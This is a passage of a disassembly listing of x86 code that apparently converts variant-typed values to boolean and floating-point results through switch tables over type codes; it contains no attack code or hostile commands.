; DATA XREF: sub_4000FE58:off_4000FE72o mov [esp+8+var_8], 0 ; jumptable 4000FE6B case 0 jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FECF: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp byte_4001AA10, 0 ; jumptable 4000FE6B case 1 jz short loc_4000FEE5 mov dx, 0Bh mov ax, 1 call sub_4000DBF4 loc_4000FEE5: ; CODE XREF: sub_4000FE58+7Ej mov [esp+8+var_8], 0 jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FEEE: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp word ptr [ebx+8], 0 ; jumptable 4000FE6B case 2 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FEFC: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 3 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF09: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o fld dword ptr [ebx+8] ; jumptable 4000FE6B case 4 fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF1F: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o fld qword ptr [ebx+8] ; jumptable 4000FE6B case 5 fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF35: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o fild qword ptr [ebx+8] ; jumptable 4000FE6B case 6 fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF4B: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o fld qword ptr [ebx+8] ; jumptable 4000FE6B case 7 fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF61: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o mov eax, ebx ; jumptable 4000FE6B case 8 call sub_4000FCA4 mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF70: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp word ptr [ebx+8], 1 ; jumptable 4000FE6B case 11 sbb eax, eax inc eax mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF80: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp byte ptr [ebx+8], 0 ; jumptable 4000FE6B case 16 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF8D: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp byte ptr [ebx+8], 0 ; jumptable 4000FE6B case 17 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FF9A: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp word ptr [ebx+8], 0 ; jumptable 4000FE6B case 18 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FFA8: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp dword ptr [ebx+8], 0 ; jumptable 4000FE6B case 19 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FFB5: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o cmp dword ptr [ebx+0Ch], 0 ; jumptable 4000FE6B case 20 jnz short loc_4000FFBF cmp dword ptr [ebx+8], 0 loc_4000FFBF: ; CODE XREF: sub_4000FE58+161j setnz al mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FFCA: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o mov eax, [ebx+8] ; jumptable 4000FE6B case 12 call sub_4000FE58 mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FFDA: ; CODE XREF: sub_4000FE58+13j ; DATA XREF: sub_4000FE58:off_4000FE72o mov eax, ebx ; jumptable 4000FE6B cases 9,13 call sub_4000FD68 mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4000FFE9: ; CODE XREF: sub_4000FE58+Dj ; sub_4000FE58+13j ; DATA XREF: ... mov edx, eax ; default ; jumptable 4000FE6B cases 10,14,15 sub dx, 100h jz short loc_4000FFF9 dec dx jz short loc_40010008 jmp short loc_40010017 ; --------------------------------------------------------------------------- loc_4000FFF9: ; CODE XREF: sub_4000FE58+198j mov eax, ebx call sub_4000FCA4 mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_40010008: ; CODE XREF: sub_4000FE58+19Dj mov eax, ebx call sub_4000FDA8 mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_40010017: ; CODE XREF: sub_4000FE58+19Fj test ah, 40h jz loc_40010187 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_4001017B ; default ; jumptable 40010031 cases 0,1,9,10,13-15 jmp ds:off_40010038[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_40010038 dd offset loc_4001017B ; DATA XREF: sub_4000FE58+1D9r dd offset loc_4001017B ; jump table for switch statement dd offset loc_4001008C dd offset loc_4001009C dd offset loc_400100AB dd offset loc_400100C3 dd offset loc_400100DB dd offset loc_400100F3 dd offset loc_4001010B dd offset loc_4001017B dd offset loc_4001017B dd offset loc_4001011A dd offset loc_4001016E dd offset loc_4001017B dd offset loc_4001017B dd offset loc_4001017B dd offset loc_40010129 dd offset loc_40010135 dd offset loc_40010141 dd offset loc_4001014E dd offset loc_4001015A ; --------------------------------------------------------------------------- loc_4001008C: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 2 cmp word ptr [eax], 0 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4001009C: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 3 cmp dword ptr [eax], 0 setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_400100AB: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 4 fld dword ptr [eax] fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_400100C3: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 5 fld qword ptr [eax] fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_400100DB: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 6 fild qword ptr [eax] fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_400100F3: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 7 fld qword ptr [eax] fcomp ds:flt_400101A8 fstsw ax sahf setnz [esp+8+var_8] jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4001010B: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, ebx ; jumptable 40010031 case 8 call sub_4000FCA4 mov [esp+8+var_8], al jmp loc_4001019E ; --------------------------------------------------------------------------- loc_4001011A: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 11 cmp word ptr [eax], 1 sbb eax, eax inc eax mov [esp+8+var_8], al jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_40010129: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 16 cmp byte ptr [eax], 0 setnz [esp+8+var_8] jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_40010135: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 17 cmp byte ptr [eax], 0 setnz [esp+8+var_8] jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_40010141: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 18 cmp word ptr [eax], 0 setnz [esp+8+var_8] jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_4001014E: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 19 cmp dword ptr [eax], 0 setnz [esp+8+var_8] jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_4001015A: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 20 cmp dword ptr [eax+4], 0 jnz short loc_40010166 cmp dword ptr [eax], 0 loc_40010166: ; CODE XREF: sub_4000FE58+309j setnz al mov [esp+8+var_8], al jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_4001016E: ; CODE XREF: sub_4000FE58+1D9j ; DATA XREF: sub_4000FE58:off_40010038o mov eax, [ebx+8] ; jumptable 40010031 case 12 call sub_4000FE58 mov [esp+8+var_8], al jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_4001017B: ; CODE XREF: sub_4000FE58+1D3j ; sub_4000FE58+1D9j ; DATA XREF: ... mov eax, ebx ; default ; jumptable 40010031 cases 0,1,9,10,13-15 call sub_4000FD68 mov [esp+8+var_8], al jmp short loc_4001019E ; --------------------------------------------------------------------------- loc_40010187: ; CODE XREF: sub_4000FE58+1C2j mov edx, esp mov eax, ebx call sub_4000FE0C test al, al jnz short loc_4001019E mov eax, ebx call sub_4000FD68 mov [esp+8+var_8], al loc_4001019E: ; CODE XREF: sub_4000FE58+72j ; sub_4000FE58+91j ... movzx eax, [esp+8+var_8] pop edx pop ebx retn sub_4000FE58 endp ; --------------------------------------------------------------------------- align 4 flt_400101A8 dd 0.0 ; DATA XREF: sub_4000FE58+B4r ; sub_4000FE58+CAr ... ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400101AC proc near ; CODE XREF: sub_4001036C+FEp ; sub_4001036C+1B9p ... var_24 = dword ptr -24h var_20 = tbyte ptr -20h var_10 = qword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFDCh push ebx xor edx, edx mov [ebp+var_24], edx mov [ebp+var_4], edx mov ebx, eax xor eax, eax push ebp push offset loc_40010261 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_4] call sub_40011DFC lea eax, [ebp+var_10] push eax push 0 push 400h mov eax, [ebp+var_4] push eax mov eax, off_4001AFF0 mov eax, [eax] call eax mov edx, eax sub edx, 80020005h jz short loc_40010201 sub edx, 7FFDFFFBh jnz short loc_40010237 jmp short loc_40010243 ; --------------------------------------------------------------------------- loc_40010201: ; CODE XREF: sub_400101AC+49j lea eax, [ebp+var_24] mov edx, [ebp+var_4] call sub_40004B0C mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_40008E74 test al, al jz short loc_40010224 fld [ebp+var_20] fstp [ebp+var_10] wait jmp short loc_40010243 ; --------------------------------------------------------------------------- loc_40010224: ; CODE XREF: sub_400101AC+6Dj movzx edx, word ptr [ebx] mov cx, 5 mov eax, 80020005h call sub_4000E034 jmp short loc_40010243 ; --------------------------------------------------------------------------- loc_40010237: ; CODE XREF: sub_400101AC+51j movzx edx, word ptr [ebx] mov cx, 5 call sub_4000E034 loc_40010243: ; CODE XREF: sub_400101AC+53j ; sub_400101AC+76j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40010268 loc_40010250: ; CODE XREF: sub_400101AC+BAj lea eax, [ebp+var_24] call sub_40004884 lea eax, [ebp+var_4] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_40010261: ; DATA XREF: sub_400101AC+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40010250 ; --------------------------------------------------------------------------- loc_40010268: ; CODE XREF: sub_400101AC+B4j ; DATA XREF: sub_400101AC+9Fo fld [ebp+var_10] pop ebx mov esp, ebp pop ebp retn sub_400101AC endp ; =============== S U B R O U T I N E ======================================= sub_40010270 proc near ; CODE XREF: sub_4001036C+199p ; sub_4001036C+349p ... var_1C = qword ptr -1Ch var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFE8h mov ebx, eax lea eax, [esp+1Ch+var_14] push eax call sub_4000CDD8 push 5 push 0 push 400h push ebx lea eax, [esp+2Ch+var_14] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 5 call sub_4000E034 mov eax, [esp+1Ch+var_C] mov dword ptr [esp+1Ch+var_1C], eax mov eax, [esp+1Ch+var_8] mov dword ptr [esp+1Ch+var_1C+4], eax fld [esp+1Ch+var_1C] add esp, 18h pop ebx retn sub_40010270 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400102BC proc near ; CODE XREF: sub_4001036C+1C9p var_18 = byte ptr -18h var_8 = qword ptr -8 push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov ebx, eax lea eax, [ebp+var_18] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40010311 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_18] call sub_4000E700 lea eax, [ebp+var_18] call ds:off_4001F29C lea eax, [ebp+var_18] call sub_4001036C fstp [ebp+var_8] wait xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40010318 loc_40010308: ; CODE XREF: sub_400102BC+5Aj lea eax, [ebp+var_18] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40010311: ; DATA XREF: sub_400102BC+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40010308 ; --------------------------------------------------------------------------- loc_40010318: ; CODE XREF: sub_400102BC+54j ; DATA XREF: sub_400102BC+47o fld [ebp+var_8] pop ebx mov esp, ebp pop ebp retn sub_400102BC endp ; =============== S U B R O U T I N E ======================================= sub_40010320 proc near ; CODE XREF: sub_4001036C+358p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, edx mov esi, eax mov edx, esp movzx eax, word ptr [esi] call sub_40012D98 mov ebx, eax test bl, bl jz short loc_40010362 lea eax, [esp+20h+var_1C] push eax call sub_4000CDD8 push 5 mov ecx, esi lea edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] mov esi, [eax] call dword ptr [esi+1Ch] mov eax, [esp+20h+var_14] mov [edi], eax mov eax, [esp+20h+var_10] mov [edi+4], eax loc_40010362: ; CODE XREF: sub_40010320+18j mov eax, ebx add esp, 14h pop edi pop esi pop ebx retn sub_40010320 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001036C proc near ; CODE XREF: sub_4000E9CC+116p ; sub_400102BC+36p ... var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = qword ptr -0Ch push ebx add esp, 0FFFFFFECh mov ebx, eax movzx eax, word ptr [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_40010513 ; default ; jumptable 40010381 cases 10,14,15 jmp ds:off_40010388[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_40010388 dd offset loc_400103DC ; DATA XREF: sub_4001036C+15r dd offset loc_400103EA ; jump table for switch statement dd offset loc_4001040E dd offset loc_4001041A dd offset loc_40010426 dd offset loc_40010432 dd offset loc_40010444 dd offset loc_40010456 dd offset loc_40010468 dd offset loc_40010503 dd offset loc_40010513 dd offset loc_40010478 dd offset loc_400104F2 dd offset loc_40010503 dd offset loc_40010513 dd offset loc_40010513 dd offset loc_4001048D dd offset loc_400104A2 dd offset loc_400104B7 dd offset loc_400104CC dd offset loc_400104E6 ; --------------------------------------------------------------------------- loc_400103DC: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o xor eax, eax ; jumptable 40010381 case 0 mov dword ptr [esp+18h+var_18], eax mov dword ptr [esp+18h+var_18+4], eax jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400103EA: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o cmp byte_4001AA10, 0 ; jumptable 40010381 case 1 jz short loc_40010400 mov dx, 5 mov ax, 1 call sub_4000DBF4 loc_40010400: ; CODE XREF: sub_4001036C+85j xor eax, eax mov dword ptr [esp+18h+var_18], eax mov dword ptr [esp+18h+var_18+4], eax jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_4001040E: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o fild word ptr [ebx+8] ; jumptable 40010381 case 2 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_4001041A: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o fild dword ptr [ebx+8] ; jumptable 40010381 case 3 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010426: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o fld dword ptr [ebx+8] ; jumptable 40010381 case 4 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010432: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o mov eax, [ebx+8] ; jumptable 40010381 case 5 mov dword ptr [esp+18h+var_18], eax mov eax, [ebx+0Ch] mov dword ptr [esp+18h+var_18+4], eax jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010444: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o fild qword ptr [ebx+8] ; jumptable 40010381 case 6 fdiv ds:flt_400106E0 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010456: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o mov eax, [ebx+8] ; jumptable 40010381 case 7 mov dword ptr [esp+18h+var_18], eax mov eax, [ebx+0Ch] mov dword ptr [esp+18h+var_18+4], eax jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010468: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o mov eax, ebx ; jumptable 40010381 case 8 call sub_400101AC fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010478: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o movsx eax, word ptr [ebx+8] ; jumptable 40010381 case 11 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_4001048D: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o movsx eax, byte ptr [ebx+8] ; jumptable 40010381 case 16 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400104A2: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o movzx eax, byte ptr [ebx+8] ; jumptable 40010381 case 17 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400104B7: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o movzx eax, word ptr [ebx+8] ; jumptable 40010381 case 18 mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400104CC: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o mov eax, [ebx+8] ; jumptable 40010381 case 19 mov dword ptr [esp+18h+var_C], eax xor eax, eax mov dword ptr [esp+18h+var_C+4], eax fild [esp+18h+var_C] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400104E6: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o fild qword ptr [ebx+8] ; jumptable 40010381 case 20 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400104F2: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o mov eax, [ebx+8] ; jumptable 40010381 case 12 call sub_4001036C fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010503: ; CODE XREF: sub_4001036C+15j ; DATA XREF: sub_4001036C:off_40010388o mov eax, ebx ; jumptable 40010381 cases 9,13 call sub_40010270 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010513: ; CODE XREF: sub_4001036C+Fj ; sub_4001036C+15j ; DATA XREF: ... mov edx, eax ; default ; jumptable 40010381 cases 10,14,15 sub dx, 100h jz short loc_40010523 dec dx jz short loc_40010533 jmp short loc_40010543 ; --------------------------------------------------------------------------- loc_40010523: ; CODE XREF: sub_4001036C+1AEj mov eax, ebx call sub_400101AC fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010533: ; CODE XREF: sub_4001036C+1B3j mov eax, ebx call sub_400102BC fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010543: ; CODE XREF: sub_4001036C+1B5j test ah, 40h jz loc_400106C0 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_400106B3 ; default ; jumptable 4001055D cases 0,1,9,10,13-15 jmp ds:off_40010564[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_40010564 dd offset loc_400106B3 ; DATA XREF: sub_4001036C+1F1r dd offset loc_400106B3 ; jump table for switch statement dd offset loc_400105B8 dd offset loc_400105C6 dd offset loc_400105D4 dd offset loc_400105E2 dd offset loc_400105F6 dd offset loc_4001060A dd offset loc_4001061E dd offset loc_400106B3 dd offset loc_400106B3 dd offset loc_4001062E dd offset loc_400106A5 dd offset loc_400106B3 dd offset loc_400106B3 dd offset loc_400106B3 dd offset loc_40010645 dd offset loc_40010659 dd offset loc_4001066D dd offset loc_40010681 dd offset loc_4001069A ; --------------------------------------------------------------------------- loc_400105B8: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 2 fild word ptr [eax] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400105C6: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 3 fild dword ptr [eax] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400105D4: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 4 fld dword ptr [eax] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400105E2: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 5 mov edx, [eax] mov dword ptr [esp+18h+var_18], edx mov edx, [eax+4] mov dword ptr [esp+18h+var_18+4], edx jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_400105F6: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 6 fild qword ptr [eax] fdiv ds:flt_400106E0 fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_4001060A: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 7 mov edx, [eax] mov dword ptr [esp+18h+var_18], edx mov edx, [eax+4] mov dword ptr [esp+18h+var_18+4], edx jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_4001061E: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, ebx ; jumptable 4001055D case 8 call sub_400101AC fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_4001062E: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 11 movsx eax, word ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp loc_400106D8 ; --------------------------------------------------------------------------- loc_40010645: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 16 movsx eax, byte ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_40010659: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 17 movzx eax, byte ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_4001066D: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 18 movzx eax, word ptr [eax] mov [esp+18h+var_10], eax fild [esp+18h+var_10] fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_40010681: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 19 mov eax, [eax] mov dword ptr [esp+18h+var_C], eax xor eax, eax mov dword ptr [esp+18h+var_C+4], eax fild [esp+18h+var_C] fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_4001069A: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 20 fild qword ptr [eax] fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_400106A5: ; CODE XREF: sub_4001036C+1F1j ; DATA XREF: sub_4001036C:off_40010564o mov eax, [ebx+8] ; jumptable 4001055D case 12 call sub_4001036C fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_400106B3: ; CODE XREF: sub_4001036C+1EBj ; sub_4001036C+1F1j ; DATA XREF: ... mov eax, ebx ; default ; jumptable 4001055D cases 0,1,9,10,13-15 call sub_40010270 fstp [esp+18h+var_18] wait jmp short loc_400106D8 ; --------------------------------------------------------------------------- loc_400106C0: ; CODE XREF: sub_4001036C+1DAj mov edx, esp mov eax, ebx call sub_40010320 test al, al jnz short loc_400106D8 mov eax, ebx call sub_40010270 fstp [esp+18h+var_18] wait loc_400106D8: ; CODE XREF: sub_4001036C+79j ; sub_4001036C+9Dj ... fld [esp+18h+var_18] add esp, 14h pop ebx retn sub_4001036C endp ; --------------------------------------------------------------------------- flt_400106E0 dd 1.0e4 ; DATA XREF: sub_4001036C+DBr ; sub_4001036C+28Fr ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400106E4 proc near ; CODE XREF: sub_4000E9CC+FCp var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi push edi mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, word ptr [eax] cmp eax, 14h ; switch 21 cases ja loc_40010825 ; default ; jumptable 400106FF cases 5-10,12-15 jmp ds:off_40010706[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_40010706 dd offset loc_4001075A ; DATA XREF: sub_400106E4+1Br dd offset loc_40010764 ; jump table for switch statement dd offset loc_40010784 dd offset loc_40010793 dd offset loc_400107A2 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_400107B0 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_40010825 dd offset loc_400107C6 dd offset loc_400107DC dd offset loc_400107EF dd offset loc_40010802 dd offset loc_40010819 ; --------------------------------------------------------------------------- loc_4001075A: ; CODE XREF: sub_400106E4+1Bj ; DATA XREF: 